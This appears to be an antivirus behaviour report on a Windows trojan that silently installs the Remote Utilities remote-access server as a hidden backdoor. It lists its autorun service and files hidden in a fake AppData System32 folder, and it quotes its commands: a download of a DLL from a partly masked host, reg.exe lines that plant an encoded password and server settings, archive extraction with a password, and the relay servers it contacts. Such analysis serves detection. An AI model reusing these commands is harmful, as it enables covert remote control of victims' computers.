Technical Information
To ensure autorun and distribution:
Creates the following services:
- [<HKLM>\SYSTEM\ControlSet001\services\RManService] 'Start' = '00000002'
Malicious functions:
Creates and executes the following:
- '%APPDATA%\Roaming\Microsoft\Windows\System32\rfusclient.exe'
- '%APPDATA%\Roaming\Microsoft\Windows\System32\get.exe' http://dl.#####oxusercontent.com/s/s9tl8i1dd1hnjqq/msvcp90.dll
- '%APPDATA%\Roaming\Microsoft\Windows\System32\rutserv.exe' /firewall
- '%APPDATA%\Roaming\Microsoft\Windows\System32\tasklist.exe'
- '%APPDATA%\Roaming\Microsoft\Windows\System32\rutserv.exe' /silentinstall
Executes the following:
- '<SYSTEM32>\reg.exe' ADD "HKEY_LOCAL_MACHINE\SYSTEM\Remote Utilities\v4\Server\Parameters" /v InternetId /t REG_BINARY /d "fffe3c003f0078006d006c002000760065007200730069006f006e003d00220031002e0030002200200065006e0063006f00640069006e0067003d0022005500540046002d00310036004c00450022003f003e000d000a003c0072006d0073005f0069006e007400650072006e00650074005f00690064005f00730065007400740069006e00670073002000760065007200730069006f006e003d0022003500360030003000360022003e003c0069006e007400650072006e00650074005f00690064003e0035003300300034002D0036003400300036002D0035003500310032002D0032003200320031003c002f0069006e007400650072006e00650074005f00690064003e003c007500730065005f0069006e00650074005f0063006f006e006e0065006300740069006f006e003e0074007200750065003c002f007500730065005f0069006e00650074005f0063006f006e006e0065006300740069006f006e003e003c0069006e00650074005f007300650072007600650072003e003c002f0069006e00650074005f007300650072007600650072003e003c007500730065005f0063007500730074006f006d005f0069006e00650074005f007300650072007600650072003e00660061006c00730065003c002f007500730065005f0063007500730074006f006d005f0069006e00650074005f007300650072007600650072003e003c0069006e00650074005f00690064005f0070006f00720074003e0035003600350035003c002f0069006e00650074005f00690064005f0070006f00720074003e003c007500730065005f0069006e00650074005f00690064005f0069007000760036003e00660061006c00730065003c002f007500730065005f0069006e00650074005f00690064005f0069007000760036003e003c002f0072006d0073005f0069006e007400650072006e00650074005f00690064005f00730065007400740069006e00670073003e000d000a00"
- '<SYSTEM32>\reg.exe' ADD "HKEY_LOCAL_MACHINE\SYSTEM\Remote Utilities\v4\Server\Parameters" /v Password /t REG_BINARY /d "35003400330032004200340043004100460044004200370033004100340039003800420043003100410034003100350038003800370034003200430030004100390033004100460043004500340033004600420031003000440041003300300030003600330039003200360037004200450042003800450035004500300031004300330034003200300032004100320034004200440033003000360032003000310044004300310034004100350032004300340039004500420037004100430045004200430030003200330043004600440036004200370034003500460037004500370041003400340042003800320044003500440039003100390038003300"
- '<SYSTEM32>\reg.exe' DELETE "HKEY_LOCAL_MACHINE\SYSTEM\Remote Utilities" /f
- '<SYSTEM32>\reg.exe' ADD "HKEY_LOCAL_MACHINE\SYSTEM\Remote Utilities\v4\Server\Parameters" /v Options /t REG_BINARY /d "545046301154524f4d5365727665724f7074696f6e7300095573654e5441757468080d53656375726974794c6576656c020304506f727403131614456e61626c654f7665726c617943617074757265080c53686f775472617949636f6e090642696e644950060d416e7920696e746572666163651343616c6c6261636b4175746f436f6e6e656374081743616c6c6261636b436f6e6e656374496e74657276616c023c084869646553746f70090c497046696c7465725479706502021750726f7465637443616c6c6261636b53657474696e6773081550726f74656374496e6574496453657474696e6773080f446f4e6f7443617074757265524450080755736549507636081141736b557365725065726d697373696f6e0816557365725065726d697373696f6e496e74657276616c031027134175746f416c6c6f775065726d697373696f6e08134e656564417574686f72697479536572766572081f41736b5065726d697373696f6e4f6e6c794966557365724c6f676765644f6e0811557365496e6574436f6e6e656374696f6e0813557365437573746f6d496e6574536572766572080a496e65744964506f727402000d557365496e6574496449507636081444697361626c6552656d6f7465436f6e74726f6c081344697361626c6552656d6f746553637265656e081344697361626c6546696c655472616e73666572080f44697361626c655265646972656374080d44697361626c6554656c6e6574081444697361626c6552656d6f746545786563757465081244697361626c655461736b4d616e61676572080e44697361626c654f7665726c6179080f44697361626c6553687574646f776e081444697361626c6552656d6f746555706772616465081544697361626c655072657669657743617074757265081444697361626c654465766963654d616e61676572080b44697361626c6543686174081344697361626c6553637265656e5265636f7264081044697361626c65415643617074757265081244697361626c6553656e644d657373616765080f44697361626c655265676973747279080d44697361626c65415643686174081544697361626c6552656d6f746553657474696e6773081544697361626c6552656d6f74655072696e74696e67080a44697361626c65526470080f4e6f7469667953686f7750616e656c08144e6f746966794368616e67655472617949636f6e08104e6f7469667942616c6c6f6e48696e74080f4e6f74696679506c6179536f756e64080c4e6f7469667950616e656c5802ff0c4e6f7469667950616e656c5902ff064c6f6755736508055369644964061034313639322e37393837313733373237084c6963656e73657306CA5255542D5A2D3232664231393364626538373039353244313238363546374337343439413235626A347853326459586C52664477776E4F327269717547413437486869494C756849726F694177645256384F626A6B674446354456566476556C777A4A69646257773066586B51504444737861676F4242676745425130664F7A4671446C7846446741434841426E65475943435156764141454C4132747659514945486C524744673154504346714177674E4831466552513575656A39585157355A58465A6544673D3D0d50726f787953657474696e67731428010000efbbbf3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d31364c45223f3e0d0a3c70726f78795f73657474696e67732076657273696f6e3d223536303036223e3c7573655f70726f78793e66616c73653c2f7573655f70726f78793e3c70726f78795f747970653e303c2f70726f78795f747970653e3c686f73743e3c2f686f73743e3c706f72743e383038303c2f706f72743e3c6e6565645f617574683e66616c73653c2f6e6565645f617574683e3c6e746d6c5f617574683e66616c73653c2f6e746d6c5f617574683e3c757365726e616d653e3c2f757365726e616d653e3c70617373776f72643e3c2f70617373776f72643e3c646f6d61696e3e3c2f646f6d61696e3e3c2f70726f78795f73657474696e67733e0d0a0a4164646974696f6e616c061979446866334d6530793566734b7671435046515952645534591144697361626c65496e7465726e65744964080b536166654d6f6465536574080000"
- '<SYSTEM32>\taskhost.exe' 127.0.0.1 -n 3
- '<SYSTEM32>\conhost.exe'
- '<SYSTEM32>\conhost.exe' /tray
- '<SYSTEM32>\reg.exe' <Auxiliary element>
- '<SYSTEM32>\PING.EXE' 127.0.0.1 -n 3
- '<SYSTEM32>\find.exe' /i "rutserv.exe"
- '<SYSTEM32>\conhost.exe' e Oscr.jpg -p"pWqcgzfDOnReDRzQaPLHdrlhP" -y
- '<SYSTEM32>\attrib.exe' +S +H "*"
- '<SYSTEM32>\attrib.exe' +S +H "%APPDATA%\Roaming\Microsoft\Windows\System32"
- '<SYSTEM32>\taskhost.exe' /pid=0xa40 /log
- '<SYSTEM32>\reg.exe' DELETE "HKEY_LOCAL_MACHINE\SYSTEM\Remote Manipulator System" /f
- '<SYSTEM32>\attrib.exe' <Auxiliary element>
- '<SYSTEM32>\attrib.exe' 0xab4 attrib.exe
- '<SYSTEM32>\PING.EXE' 127.0.0.1 -n 40
Modifies file system :
Creates the following files:
- %APPDATA%\Roaming\Microsoft\Windows\System32\RWLN.dll
- %APPDATA%\Roaming\Microsoft\Windows\System32\RIPCServer.dll
- %APPDATA%\Roaming\Microsoft\Windows\System32\rutserv.exe
- %APPDATA%\Roaming\Microsoft\Windows\System32\msvcp90.dll
- %APPDATA%\Roaming\Microsoft\Windows\System32\FlashPlayerUpdater.vbs
- <Auxiliary element>
- %APPDATA%\Roaming\Microsoft\Windows\System32\rfusclient.exe
- %APPDATA%\Roaming\Microsoft\Windows\System32\Rar.exe
- %APPDATA%\Roaming\Microsoft\Windows\System32\Run.bat
- %APPDATA%\Roaming\Microsoft\Windows\System32\Oscr.jpg
- %APPDATA%\Roaming\Microsoft\Windows\System32\get.exe
- %APPDATA%\Roaming\Microsoft\Windows\System32\FlashPlayerUpdater.bat
- %APPDATA%\Roaming\Microsoft\Windows\System32\tasklist.exe
Sets the 'hidden' attribute to the following files:
- %APPDATA%\Roaming\Microsoft\Windows\System32\RIPCServer.dll
- %APPDATA%\Roaming\Microsoft\Windows\System32\rfusclient.exe
- %APPDATA%\Roaming\Microsoft\Windows\System32\rutserv.exe
- %APPDATA%\Roaming\Microsoft\Windows\System32\FlashPlayerUpdater.vbs
- %APPDATA%\Roaming\Microsoft\Windows\System32\RWLN.dll
- %APPDATA%\Roaming\Microsoft\Windows\System32\get.exe
- %APPDATA%\Roaming\Microsoft\Windows\System32\Rar.exe
- %APPDATA%\Roaming\Microsoft\Windows\System32\Oscr.jpg
- %APPDATA%\Roaming\Microsoft\Windows\System32\Run.bat
- %APPDATA%\Roaming\Microsoft\Windows\System32\FlashPlayerUpdater.bat
- %APPDATA%\Roaming\Microsoft\Windows\System32\tasklist.exe
Deletes the following files:
- %APPDATA%\Roaming\Microsoft\Windows\System32\Run.bat
- %APPDATA%\Roaming\Microsoft\Windows\System32\FlashPlayerUpdater.vbs
- %APPDATA%\Roaming\Microsoft\Windows\System32\Oscr.jpg
- %APPDATA%\Roaming\Microsoft\Windows\System32\tasklist.exe
- %APPDATA%\Roaming\Microsoft\Windows\System32\Rar.exe
Network activity:
Connects to:
- 'se####.rutils.com':563
- 'dl.#####oxusercontent.com':80
- 'se####.rutils.com':5655
TCP:
HTTP GET requests:
- dl.#####oxusercontent.com/s/s9tl8i1dd1hnjqq/msvcp90.dll
UDP:
- DNS ASK dl.#####oxusercontent.com
- DNS ASK se####.rutils.com
